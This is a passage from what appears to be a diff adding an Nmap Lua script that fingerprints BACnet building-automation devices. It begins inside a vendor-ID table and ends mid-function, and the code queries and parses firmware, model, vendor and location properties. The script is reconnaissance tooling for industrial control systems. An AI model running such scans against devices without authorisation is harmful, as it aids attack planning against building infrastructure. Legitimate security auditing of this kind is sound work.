+ [648] = "Spectrum Controls Inc.",
+ [649] = "Mkservice",
+ [650] = "Fox Thermal Instruments",
+ [651] = "SyxthSense Ltd",
+ [652] = "DUHA System S R.O.",
+ [653] = "NIBE",
+ [654] = "Melink Corporation",
+ [655] = "Fritz-Haber-Institut",
+ [656] = "MTU Onsite Energy GmbHGas Power Systems",
+ [657] = "Omega Engineering Inc.",
+ [658] = "Avelon",
+ [659] = "Ywire Technologies Inc.",
+ [660] = "M.R. Engineering Co. Ltd.",
+ [661] = "Lochinvar LLC",
+ [662] = "Sontay Limited",
+ [663] = "GRUPA Slawomir Chelminski",
+ [664] = "Arch Meter Corporation",
+ [665] = "Senva Inc.",
+ [667] = "FM-Tec",
+ [668] = "Systems Specialists Inc.",
+ [669] = "SenseAir",
+ [670] = "AB IndustrieTechnik Srl",
+ [671] = "Cortland Research LLC",
+ [672] = "MediaView",
+ [673] = "VDA Elettronica",
+ [674] = "CSS Inc.",
+ [675] = "Tek-Air Systems Inc.",
+ [676] = "ICDT",
+ [677] = "The Armstrong Monitoring Corporation",
+ [678] = "DIXELL S.r.l",
+ [679] = "Lead System Inc.",
+ [680] = "ISM EuroCenter S.A.",
+ [681] = "TDIS",
+ [682] = "Trade FIDES",
+ [683] = "KnübH (Emerson Network Power)",
+ [684] = "Resource Data Management",
+ [685] = "Abies Technology Inc.",
+ [686] = "Amalva",
+ [687] = "MIRAE Electrical Mfg. Co. Ltd.",
+ [688] = "HunterDouglas Architectural Projects Scandinavia ApS",
+ [689] = "RUNPAQ Group Co.Ltd",
+ [690] = "Unicard SA",
+ [691] = "IE Technologies",
+ [692] = "Ruskin Manufacturing",
+ [693] = "Calon Associates Limited",
+ [694] = "Contec Co. Ltd.",
+ [695] = "iT GmbH",
+ [696] = "Autani Corporation",
+ [697] = "Christian Fortin",
+ [698] = "HDL",
+ [699] = "IPID Sp. Z.O.O Limited",
+ [700] = "Fuji Electric Co.Ltd",
+ [701] = "View Inc.",
+ [702] = "Samsung S1 Corporation",
+ [703] = "New Lift",
+ [704] = "VRT Systems",
+ [705] = "Motion Control Engineering Inc.",
+ [706] = "Weiss Klimatechnik GmbH",
+ [707] = "Elkon",
+ [708] = "Eliwell Controls S.r.l.",
+ [709] = "Japan Computer Technos Corp",
+ [710] = "Rational Network ehf",
+ [711] = "Magnum Energy Solutions LLC",
+ [712] = "MelRok",
+ [713] = "VAE Group",
+ [714] = "LGCNS",
+ [715] = "Berghof Automationstechnik GmbH",
+ [716] = "Quark Communications Inc.",
+ [717] = "Sontex",
+ [718] = "mivune AG",
+ [719] = "Panduit",
+ [720] = "Smart Controls LLC",
+ [721] = "Compu-Aire Inc.",
+ [722] = "Sierra",
+ [723] = "ProtoSense Technologies",
+ [724] = "Eltrac Technologies Pvt Ltd",
+ [725] = "Bektas Invisible Controls GmbH",
+ [726] = "Entelec",
+ [727] = "Innexiv",
+ [728] = "Covenant",
+ [729] = "Davitor AB",
+ [730] = "TongFang Technovator",
+ [731] = "Building Robotics",
+ [732] = "HSS-MSR UG",
+ [733] = "FramTack LLC",
+ [734] = "B. L. Acoustics",
+ [735] = "Traxxon Rock Drills",
+ [736] = "Franke",
+ [737] = "Wurm GmbH & Co",
+ [738] = "AddENERGIE",
+ [739] = "Mirle Automation Corporation",
+ [740] = "Ibis Networks",
+ [741] = "ID-KARTA s.r.o.",
+ [742] = "Anaren",
+ [743] = "Span",
+ [744] = "Bosch Thermotechnology Corp",
+ [745] = "DRC Technology S.A.",
+ [746] = "Shanghai Energy Building Technology Co",
+ [747] = "Fraport AG",
+ [748] = "Flowgroup",
+ [749] = "Skytron Energy",
+ [750] = "ALTEL Wicha",
+ [751] = "Drupal",
+ [752] = "Axiomatic Technology",
+ [753] = "Bohnke + Partner",
+ [754] = "Function 1",
+ [755] = "Optergy Pty",
+ [756] = "LSI Virticus",
+ [757] = "Konzeptpark GmbH",
+ [758] = "Hubbell Building Automation",
+ [759] = "eCurv",
+ [760] = "Agnosys GmbH",
+ [761] = "Shanghai Sunfull Automation Co.",
+ [762] = "Kurz Instruments",
+ [763] = "Cias Elettronica S.r.l.",
+ [764] = "Multiaqua",
+ [765] = "BlueBox",
+ [766] = "Sensidyne",
+ [767] = "Viessmann Elektronik GmbH",
+ [768] = "ADFweb.com srl",
+ [769] = "Gaylord Industries",
+ [770] = "Majur Ltd.",
+ [771] = "Shanghai Huilin Technology Co.",
+ [772] = "Exotronic",
+ [773] = "Safecontrol spol s.r.o.",
+ [774] = "Amatis",
+ [775] = "Universal Electric Corporation",
+ [776] = "iBACnet",
+ [778] = "Smartrise Engineering",
+ [779] = "Miratron",
+ [780] = "SmartEdge",
+ [781] = "Mitsubishi Electric Australia Pty Ltd",
+ [782] = "Triangle Research International Ptd Ltd",
+ [783] = "Produal Oy",
+ [784] = "Milestone Systems A/S",
+ [785] = "Trustbridge",
+ [786] = "Feedback Solutions",
+ [787] = "IES",
+ [788] = "GE Critical Power",
+ [789] = "Riptide IO",
+ [790] = "Messerschmitt Systems AG",
+ [791] = "Dezem Energy Controlling",
+ [792] = "MechoSystems",
+ [793] = "evon GmbH",
+ [794] = "CS Lab GmbH",
+ [795] = "8760 Enterprises",
+ [796] = "Touche Controls",
+ [797] = "Ontrol Teknik Malzeme San. ve Tic. A.S.",
+ [798] = "Uni Control System Sp. Z o.o.",
+ [799] = "Weihai Ploumeter Co.",
+ [800] = "Elcom International Pvt. Ltd",
+ [801] = "Philips Lighting",
+ [802] = "AutomationDirect",
+ [803] = "Paragon Robotics",
+ [804] = "SMT System & Modules Technology AG",
+ [805] = "OS Technology Service and Trading Co.",
+ [806] = "CMR Controls Ltd",
+ [807] = "Innovari",
+ [808] = "ABB Control Products",
+ [809] = "Gesellschaft fur Gebaudeautomation mbH",
+ [810] = "RODI Systems Corp.",
+ [811] = "Nextek Power Systems",
+ [812] = "Creative Lighting",
+ [813] = "WaterFurnace International",
+ [814] = "Mercury Security",
+ [815] = "Hisense (Shandong) Air-Conditioning Co.",
+ [816] = "Layered Solutions",
+ [817] = "Leegood Automatic System",
+ [818] = "Shanghai Restar Technology Co.",
+ [819] = "Reimann Ingenieurburo",
+ [820] = "LynTec",
+ [821] = "HTP",
+ [822] = "Elkor Technologies",
+ [823] = "Bentrol Pty Ltd",
+ [824] = "Team-Control Oy",
+ [825] = "NextDevice",
+ [826] = "GLOBAL CONTROL 5 Sp. z o.o.",
+ [827] = "King I Electronics Co.",
+ [828] = "SAMDAV",
+ [829] = "Next Gen Industries Pvt. Ltd.",
+ [830] = "Entic LLC",
+ [831] = "ETAP",
+ [832] = "Moralle Electronics Limited",
+ [833] = "Leicom AG",
+ [834] = "Watts Regulator Company",
+ [835] = "S.C. Orbtronics S.R.L.",
+ [836] = "Gaussan Technologies",
+ [837] = "WEBfactory GmbH",
+ [838] = "Ocean Controls",
+ [839] = "Messana Air-Ray Conditioning s.r.l.",
+ [840] = "Hangzhou BATOWN Technology Co. Ltd.",
+ [841] = "Reasonable Controls",
+ [842] = "Servisys",
+ [843] = "halstrup-walcher GmbH",
+ [844] = "SWG Automation Fuzhou Limited",
+ [845] = "KSB Aktiengesellschaft",
+ [846] = "Hybryd Sp. z o.o.",
+ [847] = "Helvatron AG",
+ [848] = "Oderon Sp. Z.O.O.",
+ [849] = "miko",
+ [850] = "Exodraft",
+ [851] = "Hochhuth GmbH",
+ [852] = "Integrated System Technologies Ltd.",
+ [853] = "Shanghai Cellcons Controls Co., Ltd",
+ [854] = "Emme Controls, LLC",
+ [855] = "Field Diagnostic Services, Inc.",
+ [856] = "Ges Teknik A.S.",
+ [857] = "Global Power Products, Inc.",
+ [858] = "Option NV",
+ [859] = "BV-Control AG",
+ [860] = "Sigren Engineering AG",
+ [861] = "Shanghai Jaltone Technology Co., Ltd.",
+ [862] = "MaxLine Solutions Ltd",
+ [863] = "Kron Instrumentos Elétricos Ltda",
+ [864] = "Thermo Matrix",
+ [865] = "Infinite Automation Systems, Inc.",
+ [866] = "Vantage",
+ [867] = "Elecon Measurements Pvt Ltd",
+ [868] = "TBA",
+ [869] = "Carnes Company",
+ [870] = "Harman Professional",
+ [871] = "Nenutec Asia Pacific Pte Ltd",
+ [872] = "Gia NV",
+ [873] = "Kepware Tehnologies",
+ [874] = "Temperature Electronics Ltd",
+ [875] = "Packet Power",
+ [876] = "Project Haystack Corporation",
+ [877] = "DEOS Controls Americas Inc.",
+ [878] = "Senseware Inc",
+ [879] = "MST Systemtechnik AG",
+ [880] = "Lonix Ltd",
+ [881] = "GMC-I Messtechnik GmbH",
+ [882] = "Aviosys International Inc.",
+ [883] = "Efficient Building Automation Corp.",
+ [884] = "Accutron Instruments Inc.",
+ [885] = "Vermont Energy Control Systems LLC",
+ [886] = "DCC Dynamics",
+ [887] = "B.E.G. Brück Electronic GmbH",
+ [889] = "NGBS Hungary Ltd.",
+ [890] = "ILLUM Technology, LLC",
+ [891] = "Delta Controls Germany Limited",
+ [892] = "S+T Service & Technique S.A.",
+ [893] = "SimpleSoft",
+ [894] = "Altair Engineering",
+ [895] = "EZEN Solution Inc.",
+ [896] = "Fujitec Co. Ltd.",
+ [897] = "Terralux",
+ [898] = "Annicom",
+ [899] = "Bihl+Wiedemann GmbH",
+ [900] = "Draper, Inc.",
+ [901] = "Schüco International KG",
+ [902] = "Otis Elevator Company",
+ [903] = "Fidelix Oy",
+ [904] = "RAM GmbH Mess- und Regeltechnik",
+ [905] = "WEMS",
+ [906] = "Ravel Electronics Pvt Ltd",
+ [907] = "OmniMagni",
+ [908] = "Echelon",
+ [909] = "Intellimeter Canada, Inc.",
+ [910] = "Bithouse Oy",
+ [912] = "BuildPulse",
+ [913] = "Shenzhen 1000 Building Automation Co. Ltd",
+ [914] = "AED Engineering GmbH",
+ [915] = "Güntner GmbH & Co. KG",
+ [916] = "KNXlogic",
+ [917] = "CIM Environmental Group",
+ [918] = "Flow Control",
+ [919] = "Lumen Cache, Inc.",
+ [920] = "Ecosystem",
+ [921] = "Potter Electric Signal Company, LLC",
+ [922] = "Tyco Fire & Security S.p.A.",
+ [923] = "Watanabe Electric Industry Co., Ltd.",
+ [924] = "Causam Energy",
+ [925] = "W-tec AG",
+ [926] = "IMI Hydronic Engineering International SA",
+ [927] = "ARIGO Software",
+ [928] = "MSA Safety",
+ [929] = "Smart Solucoes Ltda - MERCATO",
+ [930] = "PIATRA Engineering",
+ [931] = "ODIN Automation Systems, LLC",
+ [932] = "Belparts NV",
+ [933] = "UAB, SALDA",
+ [934] = "Alre-IT Regeltechnik GmbH",
+ [935] = "Ingenieurbüro H. Lertes GmbH & Co. KG",
+ [936] = "Breathing Buildings",
+ [937] = "eWON SA",
+ [938] = "Cav. Uff. Giacomo Cimberio S.p.A",
+ [939] = "PKE Electronics AG",
+ [940] = "Allen",
+ [941] = "Kastle Systems",
+ [942] = "Logical Electro-Mechanical (EM) Systems, Inc.",
+ [943] = "ppKinetics Instruments, LLC",
+ [944] = "Cathexis Technologies",
+ [945] = "Sylop sp. Z o.o. sp.k",
+ [946] = "Brauns Control GmbH",
+ [947] = "Omron Corporation",
+ [948] = "Wildeboer Bauteile Gmbh",
+ [949] = "Shanghai Biens Technologies Ltd",
+ [950] = "Beijing HZHY Technology Co., Ltd",
+ [951] = "Building Clouds",
+ [952] = "The University of Sheffield-Department of Electronic and Electrical Engineering",
+ [953] = "Fabtronics Australia Pty Ltd",
+ [954] = "SLAT",
+ [955] = "Software Motor Corporation",
+ [956] = "Armstrong International Inc.",
+ [957] = "Steril-Aire, Inc.",
+ [958] = "Infinique",
+ [959] = "Arcom",
+ [960] = "Argo Performance, Ltd",
+ [961] = "Dialight",
+ [962] = "Ideal Technical Solutions",
+ [963] = "Neurobat AG",
+ [964] = "Neyer Software Consulting LLC",
+ [965] = "SCADA Technology Development Co., Ltd.",
+ [966] = "Demand Logic Limited",
+ [967] = "GWA Group Limited",
+ [968] = "Occitaline",
+ [969] = "NAO Digital Co., Ltd.",
+ [970] = "Shenzhen Chanslink Network Technology Co., Ltd.",
+ [971] = "Samsung Electronics Co., Ltd.",
+ [972] = "Mesa Laboratories, Inc.",
+ [973] = "Fischer",
+ [974] = "OpSys Solutions Ltd.",
+ [975] = "Advanced Devices Limited",
+ [976] = "Condair",
+ [977] = "INELCOM Ingenieria Electronica Comercial S.A.",
+ [978] = "GridPoint, Inc.",
+ [979] = "ADF Technologies Sdn Bhd",
+ [980] = "EPM, Inc.",
+ [981] = "Lighting Controls Ltd",
+ [982] = "Perix Controls Ltd.",
+ [983] = "AERCO International, Inc.",
+ [984] = "KONE Inc.",
+ [985] = "Ziehl-Abegg SE",
+ [986] = "Robot, S.A.",
+ [987] = "Optigo Networks, Inc.",
+ [988] = "Openmotics BVBA",
+ [989] = "Metropolitan Industries, Inc.",
+ [990] = "Huawei Technologies Co., Ltd.",
+ [991] = "OSRAM Sylvania, Inc.",
+ [992] = "Vanti",
+ [993] = "Cree Lighting",
+ [994] = "Richmond Heights SDN BHD",
+ [995] = "Payne-Sparkman Lighting Mangement",
+ [996] = "Ashcroft",
+ [997] = "Jet Controls Corp",
+ [998] = "Zumtobel Lighting GmbH",
+ [1000] = "Ekon GmbH",
+ [1001] = "Molex",
+ [1002] = "Maco Lighting Pty Ltd.",
+ [1003] = "Axecon Corp.",
+ [1004] = "Tensor plc",
+ [1005] = "Kaseman Environmental Control Equipment (Shanghai) Limited",
+ [1006] = "AB Axis Industries",
+ [1007] = "Netix Controls",
+ [1008] = "Eldridge Products, Inc.",
+ [1009] = "Micronics",
+ [1010] = "Fortecho Solutions Ltd",
+ [1011] = "Sellers Manufacturing Company",
+ [1012] = "Rite-Hite Doors, Inc.",
+ [1013] = "Violet Defense LLC",
+ [1014] = "Simna",
+ [1015] = "Multi-Énergie Best Inc.",
+ [1016] = "Mega System Technologies, Inc.",
+ [1017] = "Rheem",
+ [1018] = "Ing. Punzenberger COPA-DATA GmbH",
+ [1019] = "MEC Electronics GmbH",
+ [1020] = "Taco Comfort Solutions",
+ [1021] = "Alexander Maier GmbH",
+ [1022] = "Ecorithm, Inc.",
+ [1023] = "Accurro Ltd",
+ [1024] = "ROMTECK Australia Pty Ltd",
+ [1025] = "Splash Monitoring Limited",
+ [1026] = "Light Application",
+ [1027] = "Logical Building Automation",
+ [1028] = "Exilight Oy",
+ [1029] = "Hager Electro SAS",
+ [1030] = "KLIF Co., LTD",
+ [1031] = "HygroMatik",
+ [1032] = "Daniel Mousseau Programmation & Electronique",
+ [1033] = "Aerionics Inc.",
+ [1034] = "M2S Electronique Ltee",
+ [1035] = "Automation Components, Inc.",
+ [1036] = "Niobrara Research & Development Corporation",
+ [1037] = "Netcom Sicherheitstechnik GmbH",
+ [1038] = "Lumel S.A.",
+ [1039] = "Great Plains Industries, Inc.",
+ [1040] = "Domotica Labs S.R.L",
+ [1041] = "Energy Cloud, Inc.",
+ [1042] = "Vomatec",
+ [1043] = "Demma Companies",
+ [1044] = "Valsena",
+ [1045] = "Comsys Bärtsch AG",
+ [1046] = "bGrid",
+ [1047] = "MDJ Software Pty Ltd",
+ [1048] = "Dimonoff, Inc.",
+ [1049] = "Edomo Systems, GmbH",
+ [1050] = "Effektiv, LLC",
+ [1051] = "SteamOVap",
+ [1052] = "grandcentrix GmbH",
+ [1053] = "Weintek Labs, Inc.",
+ [1054] = "Intefox GmbH",
+ [1055] = "Radius22 Automation Company",
+ [1056] = "Ringdale, Inc.",
+ [1057] = "Iwaki America",
+ [1058] = "Bractlet",
+ [1059] = "STULZ Air Technology Systems, Inc.",
+ [1060] = "Climate Ready Engineering Pty Ltd",
+ [1061] = "Genea Energy Partners",
+ [1062] = "IoTall Chile",
+ [1063] = "IKS Co., Ltd.",
+ [1064] = "Yodiwo AB",
+ [1065] = "TITAN electronic GmbH",
+ [1066] = "IDEC Corporation",
+ [1067] = "SIFRI SL",
+ [1068] = "Thermal Gas Systems Inc.",
+ [1069] = "Building Automation Products, Inc.",
+ [1070] = "Asset Mapping",
+ [1071] = "Smarteh Company",
+ [1072] = "Datapod Australia Pty Ltd.",
+ [1073] = "Buildings Alive Pty Ltd",
+ [1074] = "Digital Elektronik",
+ [1075] = "Talent Automação e Tecnologia Ltda",
+ [1076] = "Norposh Limited",
+ [1077] = "Merkur Funksysteme AG",
+ [1078] = "Faster CZ spol. S.r.o",
+ [1079] = "Eco-Adapt",
+ [1080] = "Energocentrum Plus, s.r.o",
+ [1081] = "amBX UK Ltd",
+ [1082] = "Western Reserve Controls, Inc.",
+ [1083] = "LayerZero Power Systems, Inc.",
+ [1084] = "CIC Jan Hřebec s.r.o.",
+ [1085] = "Sigrov BV",
+ [1086] = "ISYS-Intelligent Systems",
+ [1087] = "Gas Detection (Australia) Pty Ltd",
+ [1088] = "Kinco Automation (Shanghai) Ltd.",
+ [1089] = "Lars Energy, LLC",
+ [1090] = "Flamefast (UK) Ltd.",
+ [1091] = "Royal Service Air Conditioning",
+ [1092] = "Ampio Sp. Z o.o.",
+ [1093] = "Inovonics Wireless Corporation",
+ [1094] = "Nvent Thermal Management",
+ [1095] = "Sinowell Control System Ltd",
+ [1096] = "Moxa Inc.",
+ [1097] = "Matrix iControl SDN BHD",
+ [1098] = "PurpleSwift",
+ [1099] = "OTIM Technologies",
+ [1100] = "FlowMate Limited",
+ [1101] = "Degree Controls, Inc.",
+ [1102] = "Fei Xing (Shanghai) Software Technologies Co., Ltd.",
+ [1103] = "Berg GmbH",
+ [1104] = "ARENZ.IT",
+ [1105] = "Edelstrom Electronic Devices & Designing LLC",
+ [1106] = "Drive Connect, LLC",
+ [1107] = "DevelopNow",
+ [1108] = "Poort",
+ [1109] = "VMEIL Information (Shanghai) Ltd",
+ [1110] = "Rayleigh Instruments",
+ [1112] = "CODESYS Development",
+ [1113] = "Smartware Technologies Group, LLC",
+ [1114] = "Polar Bear Solutions",
+ [1115] = "Codra",
+ [1116] = "Pharos Architectural Controls Ltd",
+ [1117] = "EngiNear Ltd.",
+ [1118] = "Ad Hoc Electronics",
+ [1119] = "Unified Microsystems",
+ [1120] = "Industrieelektronik Brandenburg GmbH",
+ [1121] = "Hartmann GmbH",
+ [1122] = "Piscada",
+ [1123] = "KMB systems, s.r.o.",
+ [1124] = "PowerTech Engineering AS",
+ [1125] = "Telefonbau Arthur Schwabe GmbH & Co. KG",
+ [1126] = "Wuxi Fistwelove Technology Co., Ltd.",
+ [1127] = "Prysm",
+ [1128] = "STEINEL GmbH",
+ [1129] = "Georg Fischer JRG AG",
+ [1130] = "Make Develop SL",
+ [1131] = "Monnit Corporation",
+ [1132] = "Mirror Life Corporation",
+ [1133] = "Secure Meters Limited",
+ [1134] = "PECO",
+ [1135] = ".CCTECH, Inc.",
+ [1136] = "LightFi Limited",
+ [1137] = "Nice Spa",
+ [1138] = "Fiber SenSys, Inc.",
+ [1139] = "B&D Buchta und Degeorgi",
+ [1140] = "Ventacity Systems, Inc.",
+ [1141] = "Hitachi-Johnson Controls Air Conditioning, Inc.",
+ [1142] = "Sage Metering, Inc.",
+ [1143] = "Andel Limited",
+ [1144] = "ECOSmart Technologies",
+ [1145] = "S.E.T.",
+ [1146] = "Protec Fire Detection Spain SL",
+ [1147] = "AGRAMER UG",
+ [1148] = "Anylink Electronic GmbH",
+ [1149] = "Schindler, Ltd",
+ [1150] = "Jibreel Abdeen Est.",
+ [1151] = "Fluidyne Control Systems Pvt. Ltd",
+ [1152] = "Prism Systems, Inc.",
+ [1153] = "Enertiv",
+ [1154] = "Mirasoft GmbH & Co. KG",
+ [1155] = "DUALTECH IT",
+ [1156] = "Countlogic, LLC",
+ [1157] = "Kohler",
+ [1158] = "Chen Sen Controls Co., Ltd.",
+ [1159] = "Greenheck",
+ [1160] = "Intwine Connect, LLC",
+ [1161] = "Karlborgs Elkontroll",
+ [1162] = "Datakom",
+ [1163] = "Hoga Control AS",
+ [1164] = "Cool Automation",
+ [1165] = "Inter Search Co., Ltd",
+ [1166] = "DABBEL-Automation Intelligence GmbH",
+ [1167] = "Gadgeon Engineering Smartness",
+ [1168] = "Coster Group S.r.l.",
+ [1169] = "Walter Müller AG",
+ [1170] = "Fluke",
+ [1171] = "Quintex Systems Ltd",
+ [1172] = "Senfficient SDN BHD",
+ [1173] = "Nube iO Operations Pty Ltd",
+ [1174] = "DAS Integrator Pte Ltd",
+ [1175] = "CREVIS Co., Ltd",
+ [1176] = "iSquared software inc.",
+ [1177] = "KTG GmbH",
+ [1178] = "POK Group Oy",
+ [1179] = "Adiscom",
+ [1180] = "Incusense",
+ [1181] = "75F",
+ [1182] = "Anord Mardix, Inc.",
+ [1183] = "HOSCH Gebäudeautomation Neue Produkte GmbH",
+ [1184] = "BOSCH Software Innovations GmbH",
+ [1185] = "Royal Boon Edam International B.V.",
+ [1186] = "Clack Corporation",
+ [1187] = "Unitex Controls LLC",
+ [1188] = "KTC Göteborg AB",
+ [1189] = "Interzon AB",
+ [1190] = "ISDE ING SL",
+ [1191] = "ABM automation building messaging GmbH",
+ [1192] = "Kentec Electronics Ltd",
+ [1193] = "Emerson Commercial and Residential Solutions",
+ [1194] = "Powerside",
+ [1195] = "SMC Group",
+ [1196] = "EOS Weather Instruments",
+ [1197] = "Zonex Systems",
+ [1198] = "Generex Systems Computervertriebsgesellschaft mbH",
+ [1199] = "Energy Wall LLC",
+ [1200] = "Thermofin",
+ [1201] = "SDATAWAY SA",
+ [1202] = "Biddle Air Systems Limited",
+ [1203] = "Kessler Ellis Products",
+ [1204] = "Thermoscreens",
+ [1205] = "Modio",
+ [1206] = "Newron Solutions",
+ [1207] = "Unitronics",
+ [1208] = "TRILUX GmbH & Co. KG",
+ [1209] = "Kollmorgen Steuerungstechnik GmbH",
+ [1210] = "Bosch Rexroth AG",
+ [1211] = "Alarko Carrier",
+ [1212] = "Verdigris Technologies"
+}
+--return vendor information
+function vendor_lookup(vennum)
+ local vendorname = vendor_id[vennum] or "Unknown Vendor Number"
+ return string.format("%s (%d)", vendorname, vennum)
+end
+
+---
+-- Function to lookup the length of the Field to be used for Vendor ID, Firmware
+-- Object Name, Software Version, and Location. It will then return the Value
+-- that is stored inside the packet for this information as a String Value.
+-- The field is located in the 18th byte of the data field of a valid packet.
+-- Depending on this field the information will be stored in field 20 + length
+-- or in field 22 + length.
+--
+-- @param packet The packet that was received and is ready to be parsed
+function field_size(packet)
+ -- read the Length field from the packet data byte 18
+ local offset
+ -- Verify the field from byte 18 to determine if the vendor number is one byte or two bytes?
+ local value = string.byte(packet, 18)
+ if ( value % 0x10 < 5 ) then
+ value = value % 0x10 - 1
+ offset = 19
+ else
+ value = string.byte(packet, 19) - 1
+ offset = 20
+ end
+ -- unpack a string of length <value>
+ local charset, info
+ charset, info, offset = string.unpack("Bc" .. tostring(value), packet, offset)
+ -- return information that was found in the packet
+ if charset == 0 then -- UTF-8
+ return info
+ elseif charset == 4 then -- UCS-2 big-endian
+ return unicode.transcode(info, unicode.utf16_dec, unicode.utf8_enc, true, nil)
+ else -- TODO: other encodings not supported by unicode.lua
+ return info
+ end
+end
+
+---
+-- Function to set the nmap output for the host, if a valid BACNet packet
+-- is received then the output will show that the port is open instead of
+-- <code>open|filtered</code>
+--
+-- @param host Host that was passed in via nmap
+-- @param port port that BACNet is running on (Default UDP/47808)
+function set_nmap(host, port)
+
+ --set port Open
+ port.state = "open"
+ -- set version name to BACNet
+ port.version.name = "bacnet"
+ nmap.set_port_version(host, port)
+ nmap.set_port_state(host, port, "open")
+
+end
+
+--- Sends a query for Property Identifier id (a number) on socket
+local function send_query(socket, id)
+ -- Wireshark dissection:
+ local query = string.pack(">BB I2 BBBBBBB I4 BB",
+ 0x81, -- Type: BACnet/IP (Annex J)
+ 0x0a, -- Function: Original-Unicast-NPDU
+ 0x0011, -- BVLC-Length: 4 of 17 bytes
+ -- BACnet NPDU
+ 0x01, -- Version: 0x01 (ASHRAE 135-1995)
+ 0x04, -- Control (expecting reply)
+ -- BACnet APDU
+ 0x00, -- APDU Type: Confirmed-REQ, PDU flags: 0x0
+ 0x05, -- Max response segments unspecified, Max APDU size: 1476 octets
+ 0x01, -- Invoke ID: 1
+ 0x0c, -- Service Choice: readProperty
+ 0x0c, -- Context-specific tag, number 0, Length Value Type 4
+ 0x023fffff, -- Object Type: device; instance number 4194303
+ 0x19, -- Context-specific tag, number 1, Length Value Type 1
+ id)
+ return socket:send(query)
+end
+
+local query_codes = {
+ firmware = 0x2c,
+ application = 0x0c,
+ model = 0x46,
+ object = 0x4d,
+ object_id = 0x4b,
+ description = 0x1c,
+ location = 0x3a,
+ vendor = 0x79,
+ vendor_id = 0x78
+}
+---
+-- Function to send a query to the discovered BACNet devices. This will pull extra
+-- information to help identify the device. Information such as firmware, application software
+-- object name, description, and location parameters configured inside of the device.
+--
+-- @param socket The socket that was created in the action function
+-- @param type Type is the type of packet to send, this can be firmware, application, object, description, or location
+function standard_query(socket, type)
+
+ -- determine what type of packet to send
+ local query = query_codes[type]
+ assert(query) -- table lookup must not fail.
+
+ --try to pull the information
+ local status, result = send_query(socket, query)
+ if(status == false) then
+ stdnse.debug1("Socket error sending query: %s", result)
+ return nil
+ end
+ -- receive packet from response
+ local rcvstatus, response = socket:receive()
+ if(rcvstatus == false) then
+ stdnse.debug1("Socket error receiving: %s", response)
+ return nil
+ end
+ -- validate valid BACNet Packet
+ if( string.byte(response, 1) == 0x81 ) then
+ -- Lookup byte 7 (packet type)
+ local value = string.byte(response, 7)
+ -- verify that the response packet was not an error packet
+ if( value ~= 0x50) then
+ --collect information by looping thru the packet
+ return field_size(response)
+ -- if it was an error packet, set the string to error for later purposes
+ else
+ stdnse.debug1("Error receiving: BACNet Error")
+ return nil
+ end
+ -- else ERROR
+ else
+ stdnse.debug1("Error receiving Vendor ID: Invalid BACNet packet")
+ return nil
+ end
+
+end
+---
+-- Function to send a query to the discovered BACNet devices. This function queries extra
+-- information to help identify the device. Vendor ID query is sent with this
+-- function and the Vendor ID number is parsed out of the packet.
+--
+-- @param socket The socket that was created in the action function
+function vendornum_query(socket)
+
+ -- set the vendor query data for sending
+ local vendor_query = query_codes.vendor_id
+ assert(vendor_query)
+
+ --send the vendor information
+ local status, result = send_query(socket, vendor_query)
+ if(status == false) then
+ stdnse.debug1("Socket error sending vendor query: %s", result)
+ return nil
+ end
+ -- receive vendor information packet
+ local rcvstatus, response = socket:receive()
+ if(rcvstatus == false) then
+ stdnse.debug1("Socket error receiving vendor query: %s", response)
+ return nil
+ end
+ -- validate valid BACNet Packet
+ if( string.byte(response, 1) == 0x81 ) then
+ local value = string.byte(response, 7)
+ --if the vendor query resulted in an error
+ if( value ~= 0x50) then
+ -- read values for byte 18 in the packet data
+ -- this value determines if vendor number is 1 or 2 bytes
+ value = string.byte(response, 18)
+ else
+ stdnse.debug1("Error receiving Vendor ID: BACNet Error")
+ return nil
+ end
+ -- if value is 21 (byte 18)
+ if( value == 0x21 ) then
+ -- convert hex to decimal
+ local vendornum = string.byte(response, 19)
+ -- look up vendor name from table
+ return vendor_lookup(vendornum)
+ -- if value is 22 (byte 18)
+ elseif( value == 0x22 ) then
+ -- convert hex to decimal
+ local vendornum = string.unpack(">I2", response, 19)
+ -- look up vendor name from table
+ return vendor_lookup(vendornum)
+ else
+ -- set return value to an Error if byte 18 was not 21/22
+ stdnse.debug1("Error receiving Vendor ID: Invalid BACNet packet")
+ return nil
+ end
+ end
+
+end
+
+---
+-- Action Function that is used to run the NSE. This function will send the initial query to the
+-- host and port that were passed in via nmap. The initial response is parsed to determine if host
+-- is a BACNet device. If it is then more actions are taken to gather extra information.
+--
+-- @param host Host that was scanned via nmap
+-- @param port port that was scanned via nmap
+action = function(host, port)
+ --set the first query data for sending
+ local orig_query = query_codes.object_id
+ assert(orig_query)
+ local to_return = nil
+
+ -- create new socket
+ local sock = nmap.new_socket()
+ -- Bind to port for niceness with BACNet this may need to be commented out if
+ -- scanning more than one host at a time, may fix some issues seen on Windows
+ --
+ local status, err = sock:bind(nil, port.number)
+ if(status == false) then
+ stdnse.debug1("Couldn't bind to %s/udp. Continuing anyway, results may vary", port.number)
+ end
+ -- connect to the remote host
+ local constatus, conerr = sock:connect(host, port)
+ if not constatus then
+ stdnse.debug1('Error establishing a UDP connection for %s - %s', host, conerr)
+ return nil
+ end
+ -- send the original query to see if it is a valid BACNet Device
+ local sendstatus, senderr = send_query(sock, orig_query)
+ if not sendstatus then
+ stdnse.debug1('Error sending BACNet request to %s:%d - %s', host.ip, port.number, senderr)
+ return nil
+ end
+
+ -- receive response
+ local rcvstatus, response = sock:receive()
+ if(rcvstatus == false) then
+ stdnse.debug1("Receive error: %s", response)
+ return nil
+ end
+
+ -- if the response starts with 0x81 then its BACNet
+ if( string.byte(response, 1) == 0x81 ) then
+ local value = string.byte(response, 7)
+ --if the first query resulted in an error
+ --
+ if( value == 0x50) then
+ -- set the nmap output for the port and version
+ set_nmap(host, port)
+ -- return that BACNet Error was received
+ to_return = "\nBACNet ADPU Type: Error (5) \n\t" .. stdnse.tohex(response)
+ --else pull the InstanceNumber and move onto the pulling more information
+ --
+ else
+ to_return = stdnse.output_table()
+ -- set the nmap output for the port and version
+ set_nmap(host, port)
+
+ -- Vendor Number to Name lookup
+ to_return["Vendor ID"] = vendornum_query(sock)
+
+ -- vendor name
+ to_return["Vendor Name"] = standard_query(sock, "vendor")
+
+ -- Instance Number (object number)
+ local instance = string.unpack(">I3", response, 20)
+ to_return["Object-identifier"] = instance
+
+ --Firmware Verson
+ to_return["Firmware"] = standard_query(sock, "firmware")
+
+ -- Application Software Version
+ to_return["Application Software"] = standard_query(sock, "application")
+
+ -- Object Name
+ to_return["Object Name"] = standard_query(sock, "object")
+
+ -- Model Name
+ to_return["Model Name"] = standard_query(sock, "model")
+
+ -- Description
